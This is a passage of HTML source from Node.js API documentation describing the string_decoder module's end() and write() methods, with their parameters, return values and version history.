{string|Buffer|TypedArray|DataView} The bytes to decode.</li> <li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type"><string></a></li> </ul> <p>Returns any remaining input stored in the internal buffer as a string. Bytes representing incomplete UTF-8 and UTF-16 characters will be replaced with substitution characters appropriate for the character encoding.</p> <p>If the <code>buffer</code> argument is provided, one final call to <code>stringDecoder.write()</code> is performed before returning the remaining input. After <code>end()</code> is called, the <code>stringDecoder</code> object can be reused for new input.</p> <h4><code>stringDecoder.write(buffer)</code><span><a class="mark" href="#stringdecoderwritebuffer" id="stringdecoderwritebuffer">#</a></span><a aria-hidden="true" class="legacy" id="string_decoder_stringdecoder_write_buffer"></a></h4> <div class="api_metadata"> <details class="changelog"><summary>History</summary> <table> <tr><th>Version</th><th>Changes</th></tr> <tr><td>v8.0.0</td> <td><p>Each invalid character is now replaced by a single replacement character instead of one for each individual byte.</p> </td></tr> <tr><td>v0.1.99</td> <td><p><span>Added in: v0.1.99</span></p> </td></tr> </table> </details> </div><ul> <li><code>buffer</code> {string|Buffer|TypedArray|DataView} The bytes to decode.</li> <li>Returns: <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Data_structures#String_type" class="type"><string></a></li> </ul> <p>Returns a decoded string, ensuring that any incomplete multibyte characters at the end of the <code>Buffer</code>, or <code>TypedArray</code>, or <code>DataView</code> are omitted from the returned string and stored in an internal buffer for the next call to <code>stringDecoder.write()</code> or <code>stringDecoder.end()</code>.</p> </section> <!-- API END --> </div> </div> </div> </body> </html>